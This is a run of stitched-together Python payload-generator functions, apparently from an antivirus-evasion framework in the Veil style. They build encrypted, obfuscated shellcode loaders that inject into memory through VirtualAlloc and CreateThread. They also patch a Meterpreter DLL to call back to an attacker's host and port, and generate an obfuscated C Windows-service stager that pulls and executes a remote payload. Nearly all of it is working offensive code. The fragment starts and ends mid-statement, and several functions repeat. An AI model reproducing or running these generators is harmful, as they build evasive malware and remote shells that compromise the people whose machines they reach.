+= 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode else: # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() PayloadCode = 'from ctypes import *\n' PayloadCode += RandReverseShell + ' = \"' + Shellcode + '\"\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + RandReverseShell + ', len(' + RandReverseShell + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def generate(self): if os.path.exists(settings.METASPLOIT_PATH + "/data/meterpreter/metsrv.x86.dll"): metsrvPath = settings.METASPLOIT_PATH + "/data/meterpreter/metsrv.x86.dll" else: metsrvPath = settings.METASPLOIT_PATH + "/data/meterpreter/metsrv.dll" f = open(metsrvPath, 'rb') meterpreterDll = f.read() f.close() # lambda function used for patching the metsvc.dll dllReplace = lambda dll,ind,s: dll[:ind] + s + dll[ind+len(s):] # patch the metsrv.dll header headerPatch = "\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3\xb0" headerPatch += "\x0e\x00\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50\xff\xd0" headerPatch += "\x68\xe0\x1d\x2a\x0a\x68\x05\x00\x00\x00\x50\xff\xd3\x00\x00\x00" meterpreterDll = dllReplace(meterpreterDll,0,headerPatch) # patch in the default user agent string userAgentIndex = meterpreterDll.index("METERPRETER_UA\x00") userAgentString = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00" meterpreterDll = dllReplace(meterpreterDll,userAgentIndex,userAgentString) # turn off SSL sslIndex = meterpreterDll.index("METERPRETER_TRANSPORT_SSL") sslString = "METERPRETER_TRANSPORT_HTTP\x00" meterpreterDll = dllReplace(meterpreterDll,sslIndex,sslString) # replace the URL/port of the handler urlIndex = meterpreterDll.index("https://" + ("X" * 256)) urlString = "http://" + self.required_options['LHOST'][0] + ":" + str(self.required_options['LPORT'][0]) + "/" + self.genHTTPChecksum() + "_" + randomizer.randomString(16) + "/\x00" meterpreterDll = dllReplace(meterpreterDll,urlIndex,urlString) # replace the expiration timeout with the default value of 300 expirationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xb64be661)) expirationTimeout = struct.pack('<I', 604800) meterpreterDll = dllReplace(meterpreterDll,expirationTimeoutIndex,expirationTimeout) # replace the communication timeout with the default value of 300 communicationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xaf79257f)) communicationTimeout = struct.pack('<I', 300) meterpreterDll = dllReplace(meterpreterDll,communicationTimeoutIndex,communicationTimeout) # compress/base64 encode the dll compressedDll = helpers.deflate(meterpreterDll) # actually build out the payload payloadCode = "" # traditional void pointer injection if self.required_options["inject_method"][0].lower() == "void": # doing void * cast payloadCode += "from ctypes import *\nimport base64,zlib\n" randInflateFuncName = randomizer.randomString() randb64stringName = randomizer.randomString() randVarName = randomizer.randomString() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n" payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n" randVarName = randomizer.randomString() randFuncName = randomizer.randomString() payloadCode += randVarName + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n" payloadCode += randFuncName + " = cast(" + randVarName + ", CFUNCTYPE(c_void_p))\n" payloadCode += randFuncName+"()\n" # VirtualAlloc() injection else: payloadCode += 'import ctypes,base64,zlib\n' randInflateFuncName = randomizer.randomString() randb64stringName = randomizer.randomString() randVarName = randomizer.randomString() randPtr = randomizer.randomString() randBuf = randomizer.randomString() randHt = randomizer.randomString() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n" payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n" payloadCode += randVarName + " = bytearray(" + randInflateFuncName + "(\"" + compressedDll + "\"))\n" payloadCode += randPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ randVarName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' payloadCode += randBuf + ' = (ctypes.c_char * len(' + randVarName + ')).from_buffer(' + randVarName + ')\n' payloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + randPtr + '),' + randBuf + ',ctypes.c_int(len(' + randVarName + ')))\n' payloadCode += randHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + randPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' payloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + randHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": payloadCode = crypters.pyherion(payloadCode) return payloadCode
def generate(self): if self.required_options["inject_method"][0].lower() == "virtual": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() ShellcodeVariableName = randomizer.randomString() RandIV = randomizer.randomString() RandARCKey = randomizer.randomString() RandARCPayload = randomizer.randomString() RandEncShellCodePayload = randomizer.randomString() # Set IV Value and ARC Key iv = randomizer.randomKey(8) ARCKey = randomizer.randomKey(8) # Create DES Object and encrypt our payload arc4main = ARC4.new(ARCKey) EncShellCode = arc4main.encrypt(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'import ctypes\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode( "string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode else: # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() ShellcodeVariableName = randomizer.randomString() RandIV = randomizer.randomString() RandARCKey = randomizer.randomString() RandARCPayload = randomizer.randomString() RandEncShellCodePayload = randomizer.randomString() RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() # Set IV Value and ARC Key iv = randomizer.randomKey(8) ARCKey = randomizer.randomKey(8) # Create DES Object and encrypt our payload arc4main = ARC4.new(ARCKey) EncShellCode = arc4main.encrypt(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'from ctypes import *\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode( "string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = ' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\')\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def generate(self): winsock_init_name = randomizer.randomString() punt_name = randomizer.randomString() recv_all_name = randomizer.randomString() wsconnect_name = randomizer.randomString() # the real includes needed includes = [ "#include <stdio.h>", "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>" ] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(1, global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = randomizer.randomString() # reverse() randName2 = randomizer.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" % (randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" % (randName2)) ] random.shuffle(stringModFunctions) # obsufcation - "logical nop" string generation functions randString1 = randomizer.randomString(50) randName1 = randomizer.randomString() randVar1 = randomizer.randomString() randName2 = randomizer.randomString() randVar2 = randomizer.randomString() randVar3 = randomizer.randomString() randName3 = randomizer.randomString() randVar4 = randomizer.randomString() randVar5 = randomizer.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" % (randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1) / 2])), (randName2, "char* %s(){ char %s[%s/2], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, randomizer.randomString(50), randVar3, randomizer.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, randomizer.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = [ "#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>" ] t = random.randint(1, 7) for x in xrange(1, random.randint(1, 7)): includes.append(fake_includes[x]) # obsufcation - shuffle up our real and fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" # real - service related headers (check the stub) hStatusName = randomizer.randomString() serviceHeaders = [ "SERVICE_STATUS ServiceStatus;", "SERVICE_STATUS_HANDLE %s;" % (hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);" ] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) # obsufcation - string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # real - build the winsock_init function wVersionRequested_name = randomizer.randomString() wsaData_name = randomizer.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % ( wVersionRequested_name, helpers.obfuscateNum( 2, 4), helpers.obfuscateNum(2, 4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" % ( wVersionRequested_name, wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # real - build punt function my_socket_name = randomizer.randomString() code += "void %s(SOCKET %s) {" % (punt_name, my_socket_name) code += "closesocket(%s);" % (my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # obsufcation - second logical nop string function code += stringGenFunctions[1][1] + "\n" # real - build recv_all function my_socket_name = randomizer.randomString() buffer_name = randomizer.randomString() len_name = randomizer.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" % ( recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" % (buffer_name) code += "while (rcAmwSVM < %s) {" % (len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" % ( my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" % ( punt_name, my_socket_name) # obsufcation - third logical nop string function code += stringGenFunctions[2][1] + "\n" # real - build wsconnect function target_name = randomizer.randomString() sock_name = randomizer.randomString() my_socket_name = randomizer.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % ( wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" % (my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" % ( my_socket_name, punt_name, my_socket_name) code += "%s = gethostbyname(\"%s\");" % ( target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" % (target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" % ( sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" % (sock_name) code += "%s.sin_port = htons(%s);" % ( sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]), 32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" % ( my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" % (my_socket_name) # real - main() method for the service code serviceName = randomizer.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" % (serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;" ] random.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = [ "ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;" ] random.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" % ( hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" % (hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" % (hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # obsufcation - random variable names size_name = randomizer.randomString() buffer_name = randomizer.randomString() function_name = randomizer.randomString() my_socket_name = randomizer.randomString() count_name = randomizer.randomString() # obsufcation - necessary declarations char_array_name_1 = randomizer.randomString() number_of_strings_1 = random.randint(1, max_num_strings) char_array_name_2 = randomizer.randomString() number_of_strings_2 = random.randint(1, max_num_strings) char_array_name_3 = randomizer.randomString() number_of_strings_3 = random.randint(1, max_num_strings) # real - necessary declarations code += "ULONG32 %s;" % (size_name) code += "char * %s;" % (buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" % (function_name) # obsufcation - malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_1, char_array_name_1, random.randint(max_string_length, global_max_string_length)) code += "%s();" % (winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" % (my_socket_name, wsconnect_name) # obsufcation - malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_2, char_array_name_2, random.randint(max_string_length, global_max_string_length)) # real - receive the 4 byte size from the handler code += "int %s = recv(%s, (char *)&%s, %s, 0);" % ( count_name, my_socket_name, size_name, helpers.obfuscateNum(4, 2)) # real - punt the socket if something goes wrong code += "if (%s != %s || %s <= 0) %s(%s);" % ( count_name, helpers.obfuscateNum( 4, 2), size_name, punt_name, my_socket_name) # real - virtual alloc space for the meterpreter .dll code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" % ( buffer_name, size_name, helpers.obfuscateNum(5, 2)) # obsufcation - declare space for our 3 string obfuscation array code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # obsufcation - first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real - check if the buffer received is null, if so punt the socket code += "if (%s == NULL) %s(%s);" % (buffer_name, punt_name, my_socket_name) # real - prepend some buffer magic to push the socket number onto the stack code += "%s[0] = 0xBF;" % (buffer_name) # real- copy the 4 magic bytes into the buffer code += "memcpy(%s + 1, &%s, %s);" % (buffer_name, my_socket_name, helpers.obfuscateNum(4, 2)) # obsufcation - malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_3, char_array_name_3, random.randint(max_string_length, global_max_string_length)) # obsufcation - second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real - receive all data from the socket code += "%s = %s(%s, %s + %s, %s);" % ( count_name, recv_all_name, my_socket_name, buffer_name, helpers.obfuscateNum(5, 2), size_name) code += "%s = (void (*)())%s;" % (function_name, buffer_name) code += "%s();" % (function_name) # obsufcation - third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ % (hStatusName, hStatusName, hStatusName) return code
def generate(self): if os.path.exists(settings.METASPLOIT_PATH + "/data/meterpreter/metsrv.x86.dll"): metsrvPath = settings.METASPLOIT_PATH + "/data/meterpreter/metsrv.x86.dll" else: metsrvPath = settings.METASPLOIT_PATH + "/data/meterpreter/metsrv.dll" f = open(metsrvPath, "rb") meterpreterDll = f.read() f.close() # lambda function used for patching the metsvc.dll dllReplace = lambda dll, ind, s: dll[:ind] + s + dll[ind + len(s) :] # patch the metsrv.dll header headerPatch = "\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3\xb0" headerPatch += "\x0e\x00\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50\xff\xd0" headerPatch += "\x68\xe0\x1d\x2a\x0a\x68\x05\x00\x00\x00\x50\xff\xd3\x00\x00\x00" meterpreterDll = dllReplace(meterpreterDll, 0, headerPatch) # patch in the default user agent string userAgentIndex = meterpreterDll.index("METERPRETER_UA\x00") userAgentString = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00" meterpreterDll = dllReplace(meterpreterDll, userAgentIndex, userAgentString) # turn off SSL sslIndex = meterpreterDll.index("METERPRETER_TRANSPORT_SSL") sslString = "METERPRETER_TRANSPORT_HTTPS\x00" meterpreterDll = dllReplace(meterpreterDll, sslIndex, sslString) # replace the URL/port of the handler urlIndex = meterpreterDll.index("https://" + ("X" * 256)) urlString = ( "https://" + self.required_options["LHOST"][0] + ":" + str(self.required_options["LPORT"][0]) + "/" + self.genHTTPChecksum() + "_" + randomizer.randomString(16) + "/\x00" ) meterpreterDll = dllReplace(meterpreterDll, urlIndex, urlString) # replace the expiration timeout with the default value of 300 expirationTimeoutIndex = meterpreterDll.index(struct.pack("<I", 0xB64BE661)) expirationTimeout = struct.pack("<I", 604800) meterpreterDll = dllReplace(meterpreterDll, expirationTimeoutIndex, expirationTimeout) # replace the communication timeout with the default value of 300 communicationTimeoutIndex = meterpreterDll.index(struct.pack("<I", 0xAF79257F)) communicationTimeout = struct.pack("<I", 300) meterpreterDll = dllReplace(meterpreterDll, communicationTimeoutIndex, communicationTimeout) # compress/base64 encode the dll compressedDll = helpers.deflate(meterpreterDll) # actually build out the payload payloadCode = "" # traditional void pointer injection if self.required_options["inject_method"][0].lower() == "void": # doing void * cast payloadCode += "from ctypes import *\nimport base64,zlib\n" randInflateFuncName = randomizer.randomString() randb64stringName = randomizer.randomString() randVarName = randomizer.randomString() # deflate function payloadCode += "def " + randInflateFuncName + "(" + randb64stringName + "):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( " + randb64stringName + " )\n" payloadCode += "\treturn zlib.decompress( " + randVarName + " , -15)\n" randVarName = randomizer.randomString() randFuncName = randomizer.randomString() payloadCode += randVarName + " = " + randInflateFuncName + '("' + compressedDll + '")\n' payloadCode += randFuncName + " = cast(" + randVarName + ", CFUNCTYPE(c_void_p))\n" payloadCode += randFuncName + "()\n" # VirtualAlloc() injection else: payloadCode += "import ctypes,base64,zlib\n" randInflateFuncName = randomizer.randomString() randb64stringName = randomizer.randomString() randVarName = randomizer.randomString() randPtr = randomizer.randomString() randBuf = randomizer.randomString() randHt = randomizer.randomString() # deflate function payloadCode += "def " + randInflateFuncName + "(" + randb64stringName + "):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( " + randb64stringName + " )\n" payloadCode += "\treturn zlib.decompress( " + randVarName + " , -15)\n" payloadCode += randVarName + " = bytearray(" + randInflateFuncName + '("' + compressedDll + '"))\n' payloadCode += ( randPtr + " = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(" + randVarName + ")),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n" ) payloadCode += randBuf + " = (ctypes.c_char * len(" + randVarName + ")).from_buffer(" + randVarName + ")\n" payloadCode += ( "ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(" + randPtr + ")," + randBuf + ",ctypes.c_int(len(" + randVarName + ")))\n" ) payloadCode += ( randHt + " = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(" + randPtr + "),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n" ) payloadCode += "ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(" + randHt + "),ctypes.c_int(-1))\n" if self.required_options["use_pyherion"][0].lower() == "y": payloadCode = crypters.pyherion(payloadCode) return payloadCode
def pyAESVAlloc(): # Generate Shellcode Using msfvenom Shellcode = shellcode.genShellcode() # Generate Random Variable Names ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() RandDecodeAES = randomizer.randomString() RandCipherObject = randomizer.randomString() RandDecodedShellcode = randomizer.randomString() RandShellCode = randomizer.randomString() RandPadding = randomizer.randomString() # Set AES Block Size and Padding BlockSize = 32 Padding = '{' # Function for Padding Encrypted Text to Fit the Block pad = lambda s: s + (BlockSize - len(s) % BlockSize) * Padding # Encrypt & Encode or Decrypt & Decode a String EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(Padding) # Generate Random AES Key secret = aes.aesKey() # Create Cipher Object with Generated Secret Key cipher = AES.new(secret) # Encrypt the String EncodedShellcode = EncodeAES(cipher, Shellcode) # Create Payload File PayloadFile = open('payload.py', 'w') PayloadFile.write('#!/usr/bin/python\n\n') PayloadFile.write('import ctypes\n') PayloadFile.write('from Crypto.Cipher import AES\n') PayloadFile.write('import base64\n') PayloadFile.write('import os\n\n') PayloadFile.write(RandPadding + ' = \'{\'\n') PayloadFile.write( RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n') PayloadFile.write(RandCipherObject + ' = AES.new(\'' + secret + '\')\n') PayloadFile.write(RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n') PayloadFile.write(RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n\n') PayloadFile.write( RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n') PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n\n') PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n\n') PayloadFile.write( RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n' ) PayloadFile.write( 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))') PayloadFile.close() # Create Supporting Files and Print Exit Message supportfiles.supportingFiles() messages.endmsg()
def generate(self): if self.required_options["inject_method"][0].lower() == "virtual": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() ShellcodeVariableName = randomizer.randomString() RandIV = randomizer.randomString() RandARCKey = randomizer.randomString() RandARCPayload = randomizer.randomString() RandEncShellCodePayload = randomizer.randomString() # Set IV Value and ARC Key iv = randomizer.randomKey(8) ARCKey = randomizer.randomKey(8) # Create DES Object and encrypt our payload arc4main = ARC4.new(ARCKey) EncShellCode = arc4main.encrypt(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'import ctypes\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode else: # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() ShellcodeVariableName = randomizer.randomString() RandIV = randomizer.randomString() RandARCKey = randomizer.randomString() RandARCPayload = randomizer.randomString() RandEncShellCodePayload = randomizer.randomString() RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() # Set IV Value and ARC Key iv = randomizer.randomKey(8) ARCKey = randomizer.randomKey(8) # Create DES Object and encrypt our payload arc4main = ARC4.new(ARCKey) EncShellCode = arc4main.encrypt(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'from ctypes import *\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + 